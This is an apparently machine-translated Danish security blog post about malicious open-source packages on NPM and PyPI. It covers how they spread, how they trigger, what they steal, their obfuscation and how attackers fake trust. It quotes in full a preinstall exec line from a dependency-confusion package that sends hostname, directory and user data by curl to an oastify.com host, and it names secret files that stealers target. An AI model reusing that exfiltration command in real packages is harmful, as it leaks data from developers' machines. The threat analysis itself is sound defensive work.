I forrige afsnit, Open Source-skadelige pakker: Problemet, diskuterede vi, hvorfor trusselsaktørerne var så entusiastiske omkring at udgive nye ondsindede komponenter eller injicere malware i de nyeste versioner af eksisterende komponenter: Open source-infrastrukturen giver alle og enhver mulighed for at oprette en kortvarig konto, uanset hvor de er. i et komponentregister (som NPM, PyPI, Docker Hub eller Visual Studio Marketplace) eller en samarbejdsbaseret udviklingsplatform (som GitHub). Nul omkostninger og mange muligheder for at udnytte den overskydende tillid, som softwareteams traditionelt har til tredjepartskomponenter.
Asymmetrien mellem hvor nemt det er for angribere at distribuere malware ved hjælp af den infrastruktur, der er tilgængelig for open source, og hvor svært det er for organisationer, der udvikler software (alle?) at undgå at blive inficeret med malware (og at levere malware i den software, de distribuerer for andre), førte til, at kvart million-mærket af ondsindede pakker næsten blev nået sidste år.
Dette er et problem af en sådan størrelsesorden, at ingen enkelt organisation kan løse det, og fællesskabet er i gang med at omformulere open source-processen vedrørende tillid, principper for sikker standard og sikker design samt komponenternes livscyklus. Vi vil se på sådanne ideer i næste episode. Beskyttelse mod skadelige open source-pakker: Hvad virker (ikke virker).
Husk at vi taler om softwarekomponenter, der for det meste svarer til softwarepakkergenanvendelige komponenter pakket, så de kunne refereres til som en afhængighed i et softwaremanifest, og installeret med en pakkehåndtering eller et byggeværktøj. Bemærk venligst, at denne sag kan udvides til at omfatte offentlige containerbilleder (bruges af container-runtimes og orkestreringsplatforme som Kubernetes), og udvidelser til softwareværktøjer (til bygning, automatisering og implementering).
Her analyserer vi, hvordan dette angrebstaktik baseret på ondsindede komponenter fungerer ifølge tidligere eksempler og hvad vi har set på vores platform til tidlig advarsel om malware (MEW). Vi vil dissekere skadelige komponenter i forskellige dimensioner:
(1) den valgte distributionsmetode (registreringsdatabasen, der anvendes i en ny eller eksisterende komponent, og den teknik, der anvendes til at inficere den offentliggjorte komponentversion), (2) hvordan malwaren aktiveres eller udløses, (3) den ondsindede adfærd, dvs. hvilke skadelige handlinger der observeres, og hvad der er angriberens motivation, (4) hvilke teknikker der er almindelige til obfuskation, at skjule sig for at gå ubemærket hen, lateral bevægelse, kommunikation med kommando- og kontrolværter (C2) osv.; og (5) teknikkerne til at opnå tilstrækkelig popularitet og tillid, så ofrene ender med at installere komponenten.
Den valgte distributionsmekanisme
Vi observerer en "baggrundsstøj"af usofistikerede ondsindede pakker, der bruger typosquatting til at phishe uforsigtige udviklere med en slåfejl i pakkenavnet for deres afhængighed. Mange populære pakker modtager en byge af pakker med lignende navne og slåfejl i forventningen om, at de vil phishe nogle uforsigtige udviklere."
De bruger en kortvarig konto, udgiver en gruppe af typosquat-pakker, opretter en til og udgiver endnu en gruppe ... Ved hjælp af automatisering og opfindsomhed kan de opnå en vis sofistikering, men typisk er de ret trivielle. Internt kalder vi dem "ansjoser"Styveri af legitimationsoplysninger er hovedmålet, men af og til finder vi spyware, der stjæler kildekode eller følsomme data som personligt identificerbare oplysninger (PII), indfangning af udklipsholder og andre betænkeligheder."
Ud af det blå ser vi mere sofistikerede ondsindede komponenter, "hajerne". Et mindretal er målrettet mod specifikke grupper eller organisationer, typisk med kryptodrænere eller webskimmere, der aktiveres betinget, måske efter den tilgang, der ses i hændelsesstrøm at dekryptere angrebsnyttelasten kun når pakken refereres til fra en målpakke.
Distributionsmekanismen blev analyseret i den fremragende og nu klassiske artikel, “Backstabber's Knife Collection: En gennemgang af angreb på forsyningskæden med open source-software", som er et must-read. Du har helt sikkert set dette fine diagram før:
Alle muligheder blev undersøgt, herunder nye og eksisterende pakker; påvirkning af kildekoden, byggesystemet eller selve den pakkede komponent; brug af stjålne legitimationsoplysninger eller social engineering; kapring af forladte konti og arkiver eller forgiftning af vedligeholdte. Nogle angreb fik navne (typosquatting, Afhængighedsforvirring, Åbenbar forvirring, Repo-jackingosv.) og blev allerede diskuteret andetsteds.
Hvad med de valgte registre?
NPM fortsætter med at føre an i det samlede antal ondsindede pakker, men vi så en stigning fra i år på PyPI. Python er et populært økosystem til datalogi og maskinlæring. Faktisk er malware-tætheden nu højere i PyPI end i NPM.
Hvordan malwaren udløses
Kun i 4 ud af 10 tilfælde udløses skadelige pakker under installationen (i de senere år var det tæt på 6 ud af 10). Resten udfører skadelig adfærd under kørsel, hvor 1 ud af 100 udløses under kørsel af tests. Modstanderne ser ud til at vide, at ukontrolleret udførelse af installationsscripts var deaktiveret mange steder.
Hvad får de onde?
Vi vil liste kategorierne for ondsindet adfærd, med den mest populære først. Bemærk venligst, at virkningen kan være ret forskellig: a vinduesvisker er stædigt destruktiv, men det er ikke almindeligt og blev kun set i få tilfælde, relateret til målrettede cyberkrigskampagner eller brutal hacktivisme. Følgende kategorier er ret almindelige:
- InfoStealer / Credentials DrainerLangt de hyppigste, over 90 % af de usofistikerede angreb, er simple tyve, der primært leder efter legitimationsoplysninger som adgangskoder, adgangstokens, API-nøgler og private nøgler (til SSH og lignende). Det er sandsynligvis det enkleste at skrive (sammen med wipers?). De opregner kendte filer/mapper og andre kilder (f.eks. registreringsnøgler), pakker indholdet og sender disse data til en C2-server. Ideen er enkel: "Jeg udgiver en stealer til phishing-legitimationsoplysninger, så jeg senere kan bruge legitimationsoplysningerne til at lancere et målrettet angreb".
Det observerede C2-netværk er typisk billigt og beskidt, ligesom Telegram-kanaler eller ngrok-lignende tunnelværktøjer (ofte i form af reverse proxyer eksponeret via VPN-udgående IP-adresser). Der er hundredvis (!) af muligheder, med mange GitHub-projekter underlagt Emne om adgangskodetyveriSpecialiseringer som keyloggers er sjældne for ondsindede pakker og containerbilleder, men hyppigere i værktøjsudvidelser, hvor brugerinteraktion forventes.
- Dropper / DownloaderDen næstmest populære og kommer typisk først i flertrinsangreb. Mere end hver tredje ondsindede komponenter har droppere (hvis den ondsindede nyttelast er inkluderet i pakken) eller downloadere (nyttelasten downloades fra et slutpunkt under angriberens kontrol). Nyttelasten er ofte en kendt binær malwarevariant, og den køres og persisterer nogle gange for at installere bagdøre, spyware, kryptodrænere og andre use cases. Den downloadede eller installerede nyttelast starter et andenfaseangreb med al den kraft, der leveres af eksisterende malware-binære filer. De binære filer kan distribueres i pakken, ofte maskeret som billeder eller angiveligt uskadelige filtyper, for at undgå detektion, når der oprettes forbindelse til uventede websteder.
- Kryptovalutastyvere/minereFinansielt motiverede modstandere er villige til at bruge dine cloud-aktiver til at køre kryptominere (de registrerer endda, om de kører i en cloud-VM). De er ligeglade med det. lav profitratio på 1 dollar for hver 53 dollar, der opkræves offeret for den stjålne cloudinfrastruktur. Ofrene er muligvis ikke klar over dette, før de modtager en uventet regning. Heldigvis kommer og går dette. Cryptojacking Kampagner i ondsindede pakker dukker af og til op og forsvinder derefter, phishing for tegnebogsbrugere eller i sidste ende målrettet tegnebogsudbyderen, som i Ledger-angreb.
Andre adfærdsmønstre, som f.eks. at implementere en bagdør til fjernudførelse af kode ved at åbne en reverse shell er mindre hyppig nu end tidligere. For eksempel 123rf_bidragyder_web pakke (nu fjernet fra registreringsdatabasen) åbnes uden nogen form for tilsløring en omvendt shell kopieret og indsat fra Omvendt Shell-snydeark:
Ud over legitime og ondsindede komponenter har vi observeret adskillige misbrug, herunder:
Spampakker
Der findes tusindvis af små pakker, primært i NPM, uden malware, men med lovende nemme indtjeninger, slangeolie, links til Viagra-tilbud og alt det der. Et par brugere udgiver sådan spam og tager en masse båndbredde fra registreringsdatabasen. En anden aktør(er), muligvis fra Indonesien, forsøgte at få fordelen ved at misbruger teRank beregnet til at kompensere open source-udviklere ved at oprette titusindvis af indbyrdes forbundne NPM-pakker med relaterede GitHub-dummy-repositories. Dette er en klar overtrædelse af brugsbetingelserne.
Bug bounty og sikkerhedsforskningssvindelnumre
Når en pakke beskriver sig selv som værende ved at udfiltrere data til gode formål, som f.eks. at opdage sikkerhedsfejl i bug bounty-programmer eller undersøge bestemte aspekter af økosystemet. Vi har set tusindvis af pakker i denne kategori, som henter identifikationsdata, men ikke for følsomme data, til en Burp Collaborator-adresse fra PortSwigger (f.eks. vært i oastify.com-domænet). Vi observerede ofte kopier af Afhængighedsforvirring proof-of-concept af Alex Birsan, ligesom aurora-webmail-pro pakke (fjernet fra registreringsdatabasen), som blot kører denne ubehagelige kode i præinstallationsscriptet:
exec("a=$(hostname; pwd; whoami; echo 'aurora-webmail-pro'; curl http://kmauspo6z5noqllvwu0oj6lqahg84ysn.oastify.com/;) && echo $a | xxd -p | head | while read ut; do curl -k -i -s http://kmauspo6z5noqllvwu0oj6lqahg84ysn.oastify.com/$ut;done") Og inkluderede også en "Dette er et simpelt afhængighedsforvirringsangreb - et bevis på konceptet"ansvarsfraskrivelsesbeskrivelse i pakke.jsonDette er en klar overtrædelse af servicevilkårene, selv uden ondsindet hensigt.
Nogle gode nyheder? Vi har (endnu) ikke set ransomware-angreb leveret via ondsindede komponenter. Af ukendte årsager ser det ud til, at cyberkriminelle foretrækker mere traditionelle e-mail-phishing-, RDP-baserede og drive-by download-leveringsmekanismer.
Yderligere observerede teknikker
Mange teknikker blev brugt til vedholdenhed, forsvarsunddragelse, informationsindsamling, kommunikation med kommando- og kontrolværter og eksfiltrering.
Vedholdenhed i ondsindede komponenter opnås ved hjælp af persistensfunktionerne i en binær malware i andet trin, men nogle gange er adfærden placeret i pakkekoden, hvor planlagte opgaver og ændringer i Windows-registreringsdatabasen er de mest almindelige.
formørkelse er almindeligt, men usofistikeret. De fleste typosquatting-pakker (husk “ansjoser"?) bruger slet ikke obfuskation; mange bruger enten trivielle (base64/hex-kodning eller substitutionschiffere som rot13) eller bruger tilgængelige kodeobfuskatorer og minificering, som let kan vendes med de rigtige værktøjer. Kun "hajerne" udfører ægte, hardcore obfuskation, der er svær at reverse engineere.
Tilsløring kan måske skjule angrebet, men hvorfor skulle kode i en open source-komponent være nødt til at blive tilsløret? Er der beviser for, at noget skal skjules for det rene syn? Vi har fundet mange tilfælde af ikke-skadelige pakker, der bruger tilsløring til at beskytte intellektuel ejendom, hvilket er i modstrid med "open source". Tilsløring kan bruges som bevis for malware, men det er ikke afgørende. Det er også vanskeligt at af-tilsløre.
Evasion fra forsvarskontroller anvender simple teknikker. Skadelig kode er ofte beskyttet i prøv … fang blokke, der ignorerer eventuelle undtagelser, så unormal aktivitet ikke vises i logfilerne. Verifikation af miljøet (kører i en VM eller container) er sjælden, medmindre det drejer sig om malware, der er rettet mod en bestemt organisation eller et bestemt miljø.
Maskering af binære filer i billeder og PDF-filer (en slags steganografi) var en anden teknik, der blev set for at undgå detektion.
Da de mest almindelige skadelige komponenter er infotyve, dataindsamling er essentielt. Hemmeligheder (adgangskoder, adgangstokens, API-nøgler, kryptografiske nøgler) scannes rutinemæssigt i logfiler, miljøvariabler og endda udklipsholderen (set med banktrojanere og kryptotyvere). Kildekodeeksfiltrering er også almindeligt, da pakkeinstallationen ofte udføres i en udviklingsnode, hvor interne git-arkiver kan klones. Vi har set pakker opregne mapper i søgning efter git-arkiver. Det er ret almindeligt at lede efter placeringer som .env, private.pem, settings.py, app.js eller application.properties.
Eksfiltrering er en anden udbredt handling. Kun et mindretal af ondsindede pakker forsøger overhovedet at skjule destinationen for de udtrukne data. Telegram-kanaler og ngrok-lignende tunneler bruges ofte. Og der er mange typisk hvidlistede domæner, der bruges til eksfiltrering.
Andre teknikker, som f.eks. privilegieoptrapping eller lateral bevægelse, var mindre almindelige.
Opnå popularitet og tillid
Forestil dig en tech-skurk med en færdiglavet, ondsindet tingest, der spekulerer: "Hvordan gør jeg dette lort troværdigt for de intetanende idioter?".
Det betyder, hvordan man får den skadelige komponent til at vise mange stjerner/forgreninger (for popularitet), plus versioner/problemer og pull requests (til aktivitet). Ideen er at opnå fiktiv popularitet (stjerner) og afhængige personer, samt et overbevisende udseende med hensyn til relevans og vedligeholdelse.
Registreringsdatabasen kontrollerer ikke, om indholdet i et GitHub-projekt og pakkeindholdet stemmer overens.Dette er et velkendt problem i softwareforsyningskæden. De offentlige registre er gigantiske jordfaldshuller, der sluger alt, hvad der bliver kastet efter dem. Man kan linke til ethvert arkiv.
Hvis den ondsindede pakke slår en populær pakke fejl, er det nemt: bare referer til det eksisterende GitHub-arkiv i afhængighedsmanifestet, der bruges til at oprette pakken og udgive den i registreringsdatabasen. For nye pakker på et falsk GitHub-arkiv kan du have brug for mere opfindsomhed, måske ved at oprette falske pakker. stjernekiggeri/forgrening GitHub-konti via scripting.
Og hvis indholdet af din pakke er rimeligt lig med repoet, så læg et par veldesignede ændringer hist og her ... Du kan injicere din malware i en ny pakke, der ligner en populær pakke, der refererer til det eksisterende repository, og vente på tastefejlene. Hvis nogen vover at sammenligne indholdet af pakkens tarball med indholdet fra GitHub-repositoryet, kan forskellene ved malware-injektionspunkterne let overses. Vi har set denne tilgang mange gange før.
En mekanisme, hvor en komponent kan afgive en manipulationssikker erklæring om oprindelse, hvordan pakken er bygget fra, hvilke kilder og af hvem, ville være velkommen. Men det er en anden historie.
Er komponent X malware?
Findes der en (omfattende) database over ondsindede pakker? Nej. Open source-sårbarheder har fået tildelt et CVE-ID, men kun få ondsindede pakker (især dem, der skaber overskrifter) får det. CWE'en for ondsindede pakker er CWE-506 (indlejret skadelig kode).
De sædvanlige malware-værktøjer (VirusTotal, MalwareBazaar, SOREL-20M…) har ikke specifikke foranstaltninger mod ondsindede komponenter. Det ville være velkomment!
Der findes forskningsdatabaser og datasæt til analyse (vi bruger et par af dem), men poster opdateres kun, når den skadelige pakke er kendt, hvilket ofte er for sent. Hvis du er interesseret, kan du OpenSSF Ondsindede pakker er en fin start.
I det næste indlæg vil vi diskutere, hvordan man ved, om en given pakke er skadelig. Spoiler: ja, der er måder at kontrollere for skadelige komponenter tidligt i eksponeringsvinduet, før registreringsdatabasen fjerner en kendt skadelig komponent.
Yderligere læsning
I den næste episode “Beskyttelse mod skadelige open source-pakker: Hvad virker (ikke virker)" Vi vil diskutere, hvad man bør og ikke bør gøre inden for open source-sikkerhed. De fleste sikkerhedsbevidste fagfolk har en intuitiv fornemmelse af, hvordan man håndterer denne trussel, men der findes mange misforståelser.
Vi vil gennemgå, hvorfor disse ideer er forkerte, og hvordan sådanne misforståelser bidrager til populariteten af denne angrebsmekanisme og til den overvældende risiko, som organisationer oplever. Vi vil derefter fortsætte med, hvad der virker, og hvilke indsatser og ressourcer der er involveret.
Vi vil også skrive om udviklingen af ondsindede pakker med hensyn til deres hensigt, injektionsmekanisme og angrebsteknikker.
Bliv hængende!
